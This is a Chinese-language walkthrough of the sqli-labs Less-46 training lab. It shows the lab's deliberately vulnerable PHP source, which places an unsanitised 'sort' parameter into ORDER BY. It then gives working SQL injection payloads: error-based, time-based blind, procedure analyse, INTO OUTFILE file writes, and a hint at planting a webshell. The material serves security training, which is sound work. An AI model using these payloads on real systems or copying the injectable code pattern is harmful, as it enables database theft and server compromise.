0X1查看页面
0x2源码
<?php include("../sql-connections/sql-connect.php"); $id=$_GET['sort']; if(isset($id)) { //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'SORT:'.$id."\n"); fclose($fp); $sql = "SELECT * FROM users ORDER BY $id"; echo $sql . '<br>'; $result = mysql_query($sql); if ($result) { ?> <center> <font color= "#00FF00" size="4"> <table border=1'> <tr> <th> ID </th> <th> USERNAME </th> <th> PASSWORD </th> </tr> </font> </font> <?php while ($row = mysql_fetch_assoc($result)) { echo '<font color= "#00FF11" size="3">'; echo "<tr>"; echo "<td>".$row['id']."</td>"; echo "<td>".$row['username']."</td>"; echo "<td>".$row['password']."</td>"; echo "</tr>"; echo "</font>"; } echo "</table>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input parameter as SORT with numeric value<br><br><br><br>"; echo "<br><br><br>"; echo '<img src="../images/Less-46.jpg" /><br>'; echo "Lesson Concept and code Idea by <b>D4rk</b>"; } ?>
0x3 ORDER BY 分析
(1)首先看看本关sql语句
$sql = "SELECT * FROM users ORDER BY $id";
在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,
(2)升降序尝试
页面显示出不同的信息,证明存在sql注入,从页面中我们可以看出,注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,通过查询mysql帮助文档,可以在后面带入参数来进行注入
0x4 思路分析
(1)order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://192.168.232.135/sqli-labs/Less-46/?sort=right(database(),1)
解释下:
rigth函数:是返回右边结果的第一个字符
mysql>seclet right('hello',1); >'o'
left函数:是返回左边结果的第一个字符
mysql>seclet left('hello',1); >'h'
经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。
(2)直接在sort后面构造,形式存在几种
直接添加注入语句
利用函数(例如:rand 函数等)使用true和false看看结果
利用and,例如?sort=1 and (加sql语句)。
(3)报错注入实例
floor函数:
http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)
(4)延迟注入实例
http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)
http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
(4)procedure analyse参数注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
(5)导入导出文件into outfile参数
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"
(6)lines terminated by上传网马
Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)
以上部分内容都是摘录,具体的都是经过了实例认证